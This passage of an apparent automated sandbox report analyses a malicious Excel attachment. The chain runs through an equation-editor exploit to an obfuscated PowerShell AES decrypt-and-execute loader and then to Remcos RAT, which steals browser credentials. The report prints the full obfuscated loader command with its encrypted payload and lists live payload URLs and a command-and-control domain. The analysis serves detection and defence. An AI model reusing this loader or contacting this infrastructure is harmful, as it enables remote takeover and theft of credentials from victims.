16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni31045819173442745210226027008389cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnigrotij99moqal/1g6m0vqbtznqapocvjw7wdfeq2dm55mrrbsdl2dtjprdivh4qro9tuowqh9vuvcwhvl7wdpldrvycvslbshkyytx3y3ec19qglil2fuyxvsxhxzrcpixvhsexgj/yljqnpmqcrbgfmq7b0x+qtytuccqp+5yobn4o6atlpw9w8pphk9ote6qu1yd4u4i80cm5mu98/pr4+8ywarzuake5pec8m1o4ku1/sjpgmlsinidtnfgago2s309dviv/fktnnaxjjczmr5wdbqltftgucrdeglc3qbcwcpmgt1xj0gl7ve4guk6hudnkbarvx6ie3asacjsl8un9o0ykkxzeyqfjy1x6z5q3ahy4xxler3uligmmxvv2bdi4uge5zccvgmzwalk6a/59+vdpw/eapul514/a+us8pix4u0jpotd/fdvcmst/nbk2n2paq0ehkxxmwpkzka1e+bupnxwxjrfwegtderivzkg4xcqmje/dz1h6bw6vof7gbpcwnfhiokyilaudebwjqtctwrqxdrxo3beibt1ie51b3ojwza1v/g2n2t89fwu55ux7+dxeif/o2omp2w4bjqawne2xjfpmi8ocuacfhimyruwu1jgqqlc20g1wdpryvchmu/6wcfwkazbxu2z+dc8hojblkiz6g02yryv03hspeacrw1wogownnx9nylir6qgyzdyysjqrzgvzx2ed0jey/v4hsh4zkwvsy3946yvczswufkgbbcphd+j/kkl82m6zpli5i+j/so2di9yy5g1lqwpa/f21tffwnalsnppwzdiwdaugc2jlgps7d7owmpgn6mz5cocsw9nz1uoebwavfax+orkq5t4pfhdwuspge1kn0mwhl53hcv2snx7vyyfspzt6nky++2xtpexo+wxcnj2u+k0vmb0gqkc/f4jauzcgmbcbllrbx1lnogrnjowqzo7twoygr6yzl5mr1kk76wixljptroolwxocba09by8f2v9p+azjutmbcghanfiiqjywdooeg0zffos+sgi2tr+sgif31xzrdk5tgul9q7whomauh7x8xesjy8ba38e/dcsfumybe7hv40jaxlgvj3rxji2pnkh2p8jplmkdconw2rmaifaywegmrghtt4k1orkvfzi3ejd4zgs2+rdvimcp4nnw8svqhy+eqiqx/8s1jdct0kgyff8i88r+i3xtrgou+2myson8qoxrya6lglkmbykehjvocpgxrcea62jbr2pobuyxqet4x+bgr9daceefuc/8bcku+6sz5tmxp6ohd/vz3jrhmzp4kn+c5qykbc0qhxnluox3at07cgywnetpccgfxkeyp13rjbbznm31t6eljuhqkbjgimzumgkiixsu8zm9izo0koxrbn8gap3xwegprlq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni31045819173442745210226027008389cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnigrotij99moqal/1g6m0vqbtznqapocvjw7wdfeq2dm55mrrbsdl2dtjprdivh4qro9tuowqh9vuvcwhvl7wdpldrvycvslbshkyytx3y3ec19qglil2fuyxvsxhxzrcpixvhsexgj/yljqnpmqcrbgfmq7b0x+qtytuccqp+5yobn4o6atlpw9w8pphk9ote6qu1yd4u4i80cm5mu98/pr4+8ywarzuake5pec8m1o4ku1/sjpgmlsinidtnfgago2s309dviv/fktnnaxjjczmr5wdbqltftgucrdeglc3qbcwcpmgt1xj0gl7ve4guk6hudnkbarvx6ie3asacjsl8un9o0ykkxzeyqfjy1x6z5q3ahy4xxler3uligmmxvv2bdi4uge5zccvgmzwalk6a/59+vdpw/eapul514/a+us8pix4u0jpotd/fdvcmst/nbk2n2paq0ehkxxmwpkzka1e+bupnxwxjrfwegtderivzkg4xcqmje/dz1h6bw6vof7gbpcwnfhiokyilaudebwjqtctwrqxdrxo3beibt1ie51b3ojwza1v/g2n2t89fwu55ux7+dxeif/o2omp2w4bjqawne2xjfpmi8ocuacfhimyruwu1jgqqlc20g1wdpryvchmu/6wcfwkazbxu2z+dc8hojblkiz6g02yryv03hspeacrw1wogownnx9nylir6qgyzdyysjqrzgvzx2ed0jey/v4hsh4zkwvsy3946yvczswufkgbbcphd+j/kkl82m6zpli5i+j/so2di9yy5g1lqwpa/f21tffwnalsnppwzdiwdaugc2jlgps7d7owmpgn6mz5cocsw9nz1uoebwavfax+orkq5t4pfhdwuspge1kn0mwhl53hcv2snx7vyyfspzt6nky++2xtpexo+wxcnj2u+k0vmb0gqkc/f4jauzcgmbcbllrbx1lnogrnjowqzo7twoygr6yzl5mr1kk76wixljptroolwxocba09by8f2v9p+azjutmbcghanfiiqjywdooeg0zffos+sgi2tr+sgif31xzrdk5tgul9q7whomauh7x8xesjy8ba38e/dcsfumybe7hv40jaxlgvj3rxji2pnkh2p8jplmkdconw2rmaifaywegmrghtt4k1orkvfzi3ejd4zgs2+rdvimcp4nnw8svqhy+eqiqx/8s1jdct0kgyff8i88r+i3xtrgou+2myson8qoxrya6lglkmbykehjvocpgxrcea62jbr2pobuyxqet4x+bgr9daceefuc/8bcku+6sz5tmxp6ohd/vz3jrhmzp4kn+c5qykbc0qhxnluox3at07cgywnetpccgfxkeyp13rjbbznm31t6eljuhqkbjgimzumgkiixsu8zm9izo0koxrbn8gap3xwegprlq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crepJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434C52 cpuid 12_2_00434C52
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00452036
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,12_2_004520C3
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_00452313
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00448404
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,12_2_0045243C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_00452543
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,12_2_00452610
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoA,12_2_0040F8D1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,12_2_004488ED
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: IsValidCodePage,GetLocaleInfoW,12_2_00451CD8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00451F50
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,12_2_00451F9B
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00448957 GetSystemTimeAsFileTime,12_2_00448957
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B60D GetUserNameW,12_2_0041B60D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,12_2_00449190
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Stealing of Sensitive Information

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000C.00000002.622570366.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 628, type: MEMORYSTR
              Contains functionality to steal Chrome passwords or cookies
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data12_2_0040BA12
              Contains functionality to steal Firefox passwords or cookies
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\12_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \key3.db12_2_0040BB30

              Remote Access Functionality

              barindex
              Detected Remcos RAT
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-R2I0JWJump to behavior
              Yara detected Remcos RAT
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000C.00000002.622570366.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 628, type: MEMORYSTR
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: cmd.exe12_2_0040569A

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information231
              Scripting              		Valid Accounts1
              Native API              		231
              Scripting              		1
              DLL Side-Loading              		11
              Deobfuscate/Decode Files or Information              		1
              OS Credential Dumping              		2
              System Time Discovery              		Remote Services11
              Archive Collected Data              		15
              Ingress Tool Transfer              		Exfiltration Over Other Network Medium1
              System Shutdown/Reboot
              CredentialsDomainsDefault Accounts43
              Exploitation for Client Execution              		1
              DLL Side-Loading              		1
              Bypass User Account Control              		21
              Obfuscated Files or Information              		111
              Input Capture              		1
              Account Discovery              		Remote Desktop Protocol111
              Input Capture              		2
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts221
              Command and Scripting Interpreter              		1
              Windows Service              		1
              Access Token Manipulation              		1
              DLL Side-Loading              		2
              Credentials In Files              		1
              System Service Discovery              		SMB/Windows Admin Shares3
              Clipboard Data              		1
              Remote Access Software              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts2
              Service Execution              		Login Hook1
              Windows Service              		1
              Bypass User Account Control              		NTDS3
              File and Directory Discovery              		Distributed Component Object ModelInput Capture3
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud Accounts2
              PowerShell              		Network Logon Script221
              Process Injection              		1
              Masquerading              		LSA Secrets34
              System Information Discovery              		SSHKeylogging213
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
              Virtualization/Sandbox Evasion              		Cached Domain Credentials2
              Security Software Discovery              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Access Token Manipulation              		DCSync21
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job221
              Process Injection              		Proc Filesystem2
              Process Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow1
              Application Window Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
              System Owner/User Discovery              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
              Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
              Remote System Discovery              		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1482978 Sample: Purchase Inquiry.xla.xlsx Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 49 tny.wtf 2->49 63 Found malware configuration 2->63 65 Malicious sample detected (through community Yara rule) 2->65 67 Antivirus detection for dropped file 2->67 69 21 other signatures 2->69 9 EXCEL.EXE 29 33 2->9         started        signatures3 process4 dnsIp5 53 tny.wtf 188.114.97.3, 49163, 49167, 80 CLOUDFLARENETUS European Union 9->53 55 192.3.176.154, 49164, 49168, 49170 AS-COLOCROSSINGUS United States 9->55 39 C:\Users\user\...\~$Purchase Inquiry.xla.xlsx, data 9->39 dropped 41 funtogetbacktomefo...oseegirlfrnd[1].doc, Rich 9->41 dropped 13 wscript.exe 1 9->13         started        16 WINWORD.EXE 338 31 9->16         started        20 dllhost.exe 9->20         started        file6 process7 dnsIp8 81 Suspicious powershell command line found 13->81 83 Wscript starts Powershell (via cmd or directly) 13->83 85 Obfuscated command line found 13->85 93 3 other signatures 13->93 22 powershell.exe 12 5 13->22         started        45 tny.wtf 16->45 47 188.114.96.3, 49165, 49166, 80 CLOUDFLARENETUS European Union 16->47 33 C:\Users\user\AppData\Roaming\...\tny.wtf.url, MS 16->33 dropped 35 C:\Users\user\AppData\Roaming\...\c8lH8.url, MS 16->35 dropped 37 C:\Users\user\AppData\Local\...\823F0820.doc, Rich 16->37 dropped 87 Microsoft Office launches external ms-search protocol handler (WebDAV) 16->87 89 Office viewer loads remote template 16->89 91 Microsoft Office drops suspicious files 16->91 26 EQNEDT32.EXE 12 16->26         started        file9 signatures10 process11 dnsIp12 51 198.46.176.133, 49169, 80 AS-COLOCROSSINGUS United States 22->51 71 Writes to foreign memory regions 22->71 73 Suspicious execution chain found 22->73 75 Injects a PE file into a foreign processes 22->75 29 RegAsm.exe 3 10 22->29         started        43 C:\...\createactiveimagesbeautygirlf.vBS, Unicode 26->43 dropped 77 Office equation editor establishes network connection 26->77 79 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 26->79 file13 signatures14 process15 dnsIp16 57 2024remcmon.duckdns.org 29->57 59 2024remcmon.duckdns.org 192.210.214.9, 14645, 49171 AS-COLOCROSSINGUS United States 29->59 61 geoplugin.net 178.237.33.50, 49172, 80 ATOM86-ASATOM86NL Netherlands 29->61 95 Contains functionality to bypass UAC (CMSTPLUA) 29->95 97 Detected Remcos RAT 29->97 99 Contains functionality to steal Chrome passwords or cookies 29->99 103 3 other signatures 29->103 signatures17 101 Uses dynamic DNS services 57->101

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              Purchase Inquiry.xla.xlsx18%ReversingLabsDocument-Excel.Exploit.CVE-2017-0199
              Purchase Inquiry.xla.xlsx100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].doc100%AviraHEUR/Rtf.Malformed
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\823F0820.doc100%AviraHEUR/Rtf.Malformed

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://geoplugin.net/json.gp0%URL Reputationsafe
              http://nuget.org/NuGet.exe0%URL Reputationsafe
              http://geoplugin.net/json.gp/C0%URL Reputationsafe
              https://contoso.com/0%URL Reputationsafe
              https://nuget.org/nuget.exe0%URL Reputationsafe
              https://contoso.com/License0%URL Reputationsafe
              https://contoso.com/Icon0%URL Reputationsafe
              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
              http://192.3.176.154/xampp/glo/KBV.txt0%Avira URL Cloudsafe
              http://tny.wtf/0%Avira URL Cloudsafe
              http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIF0%Avira URL Cloudsafe
              http://tny.wtf/c8lH80%Avira URL Cloudsafe
              http://192.3.176.154/xampp/glo/gl/funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doc0%Avira URL Cloudsafe
              http://tny.wtf/c8lH8yX0%Avira URL Cloudsafe
              http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFj0%Avira URL Cloudsafe
              http://geoplugin.net/json.gpS0%Avira URL Cloudsafe
              http://go.microsoft.c0%Avira URL Cloudsafe
              http://tny.wtf/c8lH8;0%Avira URL Cloudsafe
              http://geoplugin.net/json.gpZ0%Avira URL Cloudsafe
              http://198.46.176.1330%Avira URL Cloudsafe
              http://192.3.176.1540%Avira URL Cloudsafe
              2024remcmon.duckdns.org0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              geoplugin.net
              		178.237.33.50
              		truefalse
                		unknown
                tny.wtf
                		188.114.97.3
                		truetrue
                  		unknown
                  2024remcmon.duckdns.org
                  		192.210.214.9
                  		truetrue
                    		unknown

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://tny.wtf/c8lH8false
                    • Avira URL Cloud: safe
                    		unknown
                    http://geoplugin.net/json.gpfalse
                    • URL Reputation: safe
                    		unknown
                    http://192.3.176.154/xampp/glo/gl/funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doctrue
                    • Avira URL Cloud: safe
                    		unknown
                    http://198.46.176.133/Upload/vbs.jpegfalse
                      		unknown
                      http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFtrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://192.3.176.154/xampp/glo/KBV.txttrue
                      • Avira URL Cloud: safe
                      		unknown
                      2024remcmon.duckdns.orgtrue
                      • Avira URL Cloud: safe
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://tny.wtf/tny.wtf.url.4.drfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://nuget.org/NuGet.exepowershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://geoplugin.net/json.gp/Cpowershell.exe, 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://tny.wtf/c8lH8yX~DF1CACC2FAC5516BE8.TMP.0.dr, 65C30000.0.drfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFjEQNEDT32.EXE, 00000008.00000002.491261819.0000000000651000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/powershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://nuget.org/nuget.exepowershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/Licensepowershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
